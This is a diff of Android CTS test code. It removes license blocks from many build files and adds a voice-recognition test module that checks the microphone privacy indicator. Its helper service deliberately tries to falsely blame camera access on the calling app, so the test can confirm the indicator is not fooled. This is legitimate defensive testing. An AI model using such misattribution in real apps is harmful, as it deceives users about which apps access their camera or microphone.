name: "libctsview_jni",
diff --git a/tests/tests/view/sdk28/Android.bp b/tests/tests/view/sdk28/Android.bp
index f005f3b..71eb9e4 100644
--- a/tests/tests/view/sdk28/Android.bp
+++ b/tests/tests/view/sdk28/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsViewTestCasesSdk28",
defaults: ["cts_defaults"],
diff --git a/tests/tests/view/surfacevalidator/Android.mk b/tests/tests/view/surfacevalidator/Android.mk
index 54129cd..973d374 100644
--- a/tests/tests/view/surfacevalidator/Android.mk
+++ b/tests/tests/view/surfacevalidator/Android.mk
@@ -17,8 +17,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := CtsSurfaceValidatorLib
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/voiceRecognition/Android.bp b/tests/tests/voiceRecognition/Android.bp
new file mode 100644
index 0000000..ca53417
--- /dev/null
+++ b/tests/tests/voiceRecognition/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsVoiceRecognitionTestCases",
+ defaults: ["cts_defaults"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ libs: ["android.test.base"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ "androidx.test.ext.junit",
+ "truth-prebuilt",
+ ],
+ srcs: ["src/**/*.java"],
+ resource_dirs: ["res"],
+ sdk_version: "system_current",
+}
diff --git a/tests/tests/voiceRecognition/AndroidManifest.xml b/tests/tests/voiceRecognition/AndroidManifest.xml
new file mode 100644
index 0000000..41e29cb
--- /dev/null
+++ b/tests/tests/voiceRecognition/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.voicerecognition.cts">
+
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+ <application android:label="CtsVoiceRecognitionTestCases">
+ <uses-library android:name="android.test.runner"/>
+ <!--The Activity that uses SpeechRecognizer APIs to access RecognitionService -->
+ <activity android:name="SpeechRecognitionActivity"
+ android:label="SpeechRecognitionActivity"
+ android:exported="true">
+ </activity>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.voicerecognition.cts"
+ android:label="CTS tests of android voicerecognition">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener"/>
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/voiceRecognition/AndroidTest.xml b/tests/tests/voiceRecognition/AndroidTest.xml
new file mode 100644
index 0000000..6934357
--- /dev/null
+++ b/tests/tests/voiceRecognition/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Voice Recognition test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true"/>
+ <option name="test-file-name" value="CtsVoiceRecognitionTestCases.apk"/>
+ <option name="test-file-name" value="CtsVoiceRecognitionService.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.voicerecognition.cts" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/tests/tests/voiceRecognition/RecognitionService/Android.bp
similarity index 64%
copy from tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
copy to tests/tests/voiceRecognition/RecognitionService/Android.bp
index b8fbdea..2f9fde8 100644
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ b/tests/tests/voiceRecognition/RecognitionService/Android.bp
@@ -1,5 +1,5 @@
//
-// Copyright (C) 2016 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -14,11 +14,15 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
+ name: "CtsVoiceRecognitionService",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests"
+ ],
+ srcs: ["src/**/*.java"],
+ resource_dirs: ["res"],
}
diff --git a/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml b/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml
new file mode 100644
index 0000000..072df55
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.recognitionservice.service"
+ android:targetSandboxVersion="2">
+
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+ <application android:label="CtsVoiceRecognitionService">
+ <uses-library android:name="android.test.runner" />
+
+ <service android:name="CtsVoiceRecognitionService"
+ android:label="@string/service_name"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.speech.RecognitionService" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </service>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="The VoiceRecognitionService for CTS test."
+ android:targetPackage="android.recognitionservice.service" >
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml b/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml
new file mode 100644
index 0000000..f96159c
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="service_name">CtsVoiceRecognitionService</string>
+</resources>
diff --git a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
new file mode 100644
index 0000000..25cfadd
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.recognitionservice.service;
+
+import android.app.AppOpsManager;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.media.MediaRecorder;
+import android.os.Binder;
+import android.speech.RecognitionService;
+import android.speech.RecognizerIntent;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Implementation of {@link RecognitionService} used in the tests.
+ */
+public class CtsVoiceRecognitionService extends RecognitionService {
+
+ private final String TAG = "CtsVoiceRecognitionService";
+
+ private MediaRecorder mMediaRecorder;
+ private File mOutputFile;
+
+ @Override
+ protected void onCancel(Callback listener) {
+ // No-op.
+ }
+
+ @Override
+ protected void onStopListening(Callback listener) {
+ // No-op.
+ }
+
+ @Override
+ protected void onStartListening(Intent recognizerIntent, Callback listener) {
+ Log.d(TAG, "onStartListening");
+ mediaRecorderReady();
+ blameCameraPermission(recognizerIntent, listener.getCallingUid());
+ try {
+ mMediaRecorder.prepare();
+ mMediaRecorder.start();
+ } catch (IOException e) {
+ // We focus on the open mic behavior, wedon't need to real record and save to the file.
+ // Because we don't set the output the output file. The IOException occurred when start.
+ // We catch this and reset the media record.
+ e.printStackTrace();
+ mMediaRecorder.release();
+ mMediaRecorder = null;
+ }
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(TAG, "onDestroy");
+ stopRecord();
+ super.onDestroy();
+ }
+
+ // RecognitionService try to blame non-mic permission
+ private void blameCameraPermission(Intent recognizerIntent, int callingPackageUid) {
+ final String callingPackage =
+ recognizerIntent.getStringExtra(RecognizerIntent.EXTRA_CALLING_PACKAGE);
+ final AppOpsManager appOpsManager = getSystemService(AppOpsManager.class);
+ appOpsManager.noteProxyOpNoThrow(AppOpsManager.OPSTR_CAMERA, callingPackage,
+ callingPackageUid, /*attributionTag*/ null, /*message*/ null);
+ }
+
+ private void mediaRecorderReady() {
+ mMediaRecorder = new MediaRecorder();
+ mOutputFile = new File(getExternalCacheDir(), "test.3gp");
+ mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mMediaRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);
+ mMediaRecorder.setOutputFile(mOutputFile);
+ }
+
+ private void stopRecord() {
+ if (mMediaRecorder != null) {
+ mMediaRecorder.stop();
+ mMediaRecorder.release();
+ mMediaRecorder = null;
+ }
+ if (mOutputFile != null && mOutputFile.exists()) {
+ mOutputFile.delete();
+ }
+ }
+}
diff --git a/tests/tests/voiceRecognition/res/layout/main.xml b/tests/tests/voiceRecognition/res/layout/main.xml
new file mode 100644
index 0000000..9cab939
--- /dev/null
+++ b/tests/tests/voiceRecognition/res/layout/main.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
new file mode 100644
index 0000000..086c1c7
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.os.SystemClock;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.text.TextUtils;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public final class RecognitionServiceMicIndicatorTest {
+
+ private final String TAG = "RecognitionServiceMicIndicatorTest";
+ // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
+ private final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
+ // same as Settings.Secure.VOICE_INTERACTION_SERVICE
+ private final String VOICE_INTERACTION_SERVICE = "voice_interaction_service";
+ // Th notification privacy indicator
+ private final String PRIVACY_CHIP_PACLAGE_NAME = "com.android.systemui";
+ private final String PRIVACY_CHIP_ID = "privacy_chip";
+ // The cts app label
+ private final String APP_LABEL = "CtsVoiceRecognitionTestCases";
+ // A simple test voice recognition service implementation
+ private final String CTS_VOICE_RECOGNITION_SERVICE =
+ "android.recognitionservice.service/android.recognitionservice.service"
+ + ".CtsVoiceRecognitionService";
+ private final String INDICATORS_FLAG = "camera_mic_icons_enabled";
+ private final long INDICATOR_DISMISS_TIMEOUT = 5000L;
+ private final long UI_WAIT_TIMEOUT = 1000L;
+ private final long PERMISSION_INDICATORS_NOT_PRESENT = 162547999L;
+
+ private UiDevice mUiDevice;
+ private SpeechRecognitionActivity mActivity;
+ private Context mContext;
+ private String mOriginalVoiceRecognizer;
+ private String mCameraLabel;
+ private boolean mOriginalIndicatorsEnabledState;
+ private boolean mTestRunnung;
+
+ @Rule
+ public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
+ new ActivityTestRule<>(SpeechRecognitionActivity.class);
+
+ @Before
+ public void setup() {
+ // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+ // the change is set to "false" if present.
+ assumeFalse("feature not present on this device", runWithShellPermissionIdentity(
+ () -> CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT,
+ Process.SYSTEM_UID)));
+ final PackageManager pm = InstrumentationRegistry.getTargetContext().getPackageManager();
+ boolean hasTvFeature = pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ assumeFalse("Not run in the tv device", hasTvFeature);
+ mTestRunnung = true;
+ prepareDevice();
+ mContext = InstrumentationRegistry.getTargetContext();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mActivity = mActivityTestRule.getActivity();
+
+ try {
+ mCameraLabel = pm.getPermissionGroupInfo(Manifest.permission_group.CAMERA, 0).loadLabel(
+ pm).toString();
+ } catch (PackageManager.NameNotFoundException e) {
+ }
+ // get original indicator enable state
+ runWithShellPermissionIdentity(() -> {
+ mOriginalIndicatorsEnabledState =
+ DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG, false);
+ });
+ // get original voice services
+ mOriginalVoiceRecognizer = Settings.Secure.getString(
+ mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
+ // QPR is default disabled, we need to enable it
+ setIndicatorsEnabledStateIfNeeded(/* shouldBeEnabled */ true);
+ }
+
+ @After
+ public void teardown() {
+ if (!mTestRunnung) {
+ return;
+ }
+ // press back to close the dialog
+ mUiDevice.pressBack();
+ // restore to original voice services
+ setCurrentRecognizer(mOriginalVoiceRecognizer);
+ // restore to original indicator enable state
+ setIndicatorsEnabledStateIfNeeded(mOriginalIndicatorsEnabledState);
+ }
+
+ private void prepareDevice() {
+ // Unlock screen.
+ runShellCommand("input keyevent KEYCODE_WAKEUP");
+ // Dismiss keyguard, in case it's set as "Swipe to unlock".
+ runShellCommand("wm dismiss-keyguard");
+ }
+
+ private void setIndicatorsEnabledStateIfNeeded(Boolean shouldBeEnabled) {
+ runWithShellPermissionIdentity(() -> {
+ final boolean currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+ INDICATORS_FLAG, false);
+ if (currentlyEnabled != shouldBeEnabled) {
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+ shouldBeEnabled.toString(), false);
+ }
+ });
+ }
+
+ private void setCurrentRecognizer(String recognizer) {
+ runWithShellPermissionIdentity(
+ () -> Settings.Secure.putString(mContext.getContentResolver(),
+ VOICE_RECOGNITION_SERVICE, recognizer));
+ mUiDevice.waitForIdle();
+ }
+
+ private boolean hasPreInstalledRecognizer(String packageName) {
+ Log.v(TAG, "hasPreInstalledRecognizer package=" + packageName);
+ try {
+ final PackageManager pm = mContext.getPackageManager();
+ final ApplicationInfo info = pm.getApplicationInfo(packageName, 0);
+ return ((info.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ private static String getComponentPackageNameFromString(String from) {
+ ComponentName componentName = from != null ? ComponentName.unflattenFromString(from) : null;
+ return componentName != null ? componentName.getPackageName() : "";
+ }
+
+ @Test
+ public void testNonTrustedRecognitionServiceCannotBlameCallingApp() throws Throwable {
+ // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+ // is also a preinstalled app. This is a untrusted case.
+ setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
+
+ // verify that the untrusted app cannot blame the calling app mic access
+ testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ false);
+ }
+
+ @Test
+ public void testTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
+ // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+ // is also a preinstalled app. This is a trusted case.
+ boolean hasPreInstalledRecognizer = hasPreInstalledRecognizer(
+ getComponentPackageNameFromString(mOriginalVoiceRecognizer));
+ assumeTrue("No preinstalled recognizer.", hasPreInstalledRecognizer);
+
+ // verify that the trusted app can blame the calling app mic access
+ testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ true);
+ }
+
+ private void testVoiceRecognitionServiceBlameCallingApp(boolean trustVoiceService)
+ throws Throwable {
+ // Start SpeechRecognition
+ mActivity.startListening();
+
+ assertPrivacyChipAndIndicatorsPresent(trustVoiceService);
+ }
+
+ private void assertPrivacyChipAndIndicatorsPresent(boolean trustVoiceService) {
+ // Open notification and verify the privacy indicator is shown
+ mUiDevice.openNotification();
+ SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+ final UiObject2 privacyChip =
+ mUiDevice.findObject(By.res(PRIVACY_CHIP_PACLAGE_NAME, PRIVACY_CHIP_ID));
+ assertWithMessage("Can not find mic indicator").that(privacyChip).isNotNull();
+
+ // Click the privacy indicator and verify the calling app name display status in the dialog.
+ privacyChip.click();
+ SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+ final UiObject2 recognitionCallingAppLabel = mUiDevice.findObject(By.text(APP_LABEL));
+ if (trustVoiceService) {
+ // Check trust recognizer can blame calling app mic permission
+ assertWithMessage(
+ "Trusted voice recognition service can blame the calling app name " + APP_LABEL
+ + ", but does not find it.").that(
+ recognitionCallingAppLabel).isNotNull();
+ assertThat(recognitionCallingAppLabel.getText()).isEqualTo(APP_LABEL);
+
+ // Check trust recognizer cannot blame non-mic permission
+ final UiObject2 cemaraLabel = mUiDevice.findObject(By.text(mCameraLabel));
+ assertWithMessage("Trusted voice recognition service cannot blame non-mic permission")
+ .that(cemaraLabel).isNull();
+ } else {
+ assertWithMessage(
+ "Untrusted voice recognition service cannot blame the calling app name "
+ + APP_LABEL).that(recognitionCallingAppLabel).isNull();
+ }
+ // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
+ SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
+ }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
new file mode 100644
index 0000000..66c8c9c
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.speech.RecognizerIntent;
+import android.speech.SpeechRecognizer;
+
+/**
+ * An activity that uses SpeechRecognition APIs. SpeechRecognition will bind the RecognitionService
+ * to provide the voice recognition functions.
+ */
+public class SpeechRecognitionActivity extends Activity {
+
+ private final String TAG = "SpeechRecognitionActivity";
+
+ private SpeechRecognizer mRecognizer;
+ private Intent mRecognizerIntent;
+ private Handler mHandler;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.main);
+ init();
+ }
+
+ @Override
+ protected void onDestroy() {
+ if (mRecognizer != null) {
+ mRecognizer.destroy();
+ mRecognizer = null;
+ }
+ super.onDestroy();
+ }
+
+ public void startListening() {
+ mHandler.post(() -> {
+ if (mRecognizer != null) {
+ final Intent recognizerIntent =
+ new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+ recognizerIntent.putExtra(
+ RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
+ mRecognizer.startListening(recognizerIntent);
+ }
+ });
+ }
+
+ private void init() {
+ mHandler = new Handler(getMainLooper());
+ mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
+ }
+}
diff --git a/tests/tests/voiceinteraction/Android.bp b/tests/tests/voiceinteraction/Android.bp
index 0f4a568..c44c539 100644
--- a/tests/tests/voiceinteraction/Android.bp
+++ b/tests/tests/voiceinteraction/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsVoiceInteractionTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/voiceinteraction/common/Android.bp b/tests/tests/voiceinteraction/common/Android.bp
index e9052de..904dce6 100644
--- a/tests/tests/voiceinteraction/common/Android.bp
+++ b/tests/tests/voiceinteraction/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsVoiceInteractionCommon",
srcs: ["src/**/*.java"],
diff --git a/tests/tests/voiceinteraction/service/Android.bp b/tests/tests/voiceinteraction/service/Android.bp
index 4aee259..587ed1a 100644
--- a/tests/tests/voiceinteraction/service/Android.bp
+++ b/tests/tests/voiceinteraction/service/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsVoiceInteractionService",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/voiceinteraction/testapp/Android.bp b/tests/tests/voiceinteraction/testapp/Android.bp
index 65db5fb..94e1a0e 100644
--- a/tests/tests/voiceinteraction/testapp/Android.bp
+++ b/tests/tests/voiceinteraction/testapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsVoiceInteractionApp",
defaults: ["cts_support_defaults"],
@@ -27,4 +23,4 @@
"cts",
"general-tests",
],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/voicesettings/Android.bp b/tests/tests/voicesettings/Android.bp
index 341a533..d68dbaf 100644
--- a/tests/tests/voicesettings/Android.bp
+++ b/tests/tests/voicesettings/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsVoiceSettingsTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/voicesettings/service/Android.bp b/tests/tests/voicesettings/service/Android.bp
index ccbf73d..4a514a9 100644
--- a/tests/tests/voicesettings/service/Android.bp
+++ b/tests/tests/voicesettings/service/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsVoiceSettingsService",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/webkit/Android.bp b/tests/tests/webkit/Android.bp
index 30cb45f..13a4cf4 100644
--- a/tests/tests/webkit/Android.bp
+++ b/tests/tests/webkit/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsWebkitTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/widget/Android.bp b/tests/tests/widget/Android.bp
index 446a204..20b79ce 100644
--- a/tests/tests/widget/Android.bp
+++ b/tests/tests/widget/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsWidgetTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/widget/app/Android.bp b/tests/tests/widget/app/Android.bp
index 461fd11..0ecbb72 100644
--- a/tests/tests/widget/app/Android.bp
+++ b/tests/tests/widget/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsWidgetApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/widget29/Android.bp b/tests/tests/widget29/Android.bp
index 08945ca..b2c26af 100644
--- a/tests/tests/widget29/Android.bp
+++ b/tests/tests/widget29/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsWidgetTestCases29",
defaults: ["cts_defaults"],
diff --git a/tests/tests/wifi/Android.bp b/tests/tests/wifi/Android.bp
index 8319a22..14ae0c7 100644
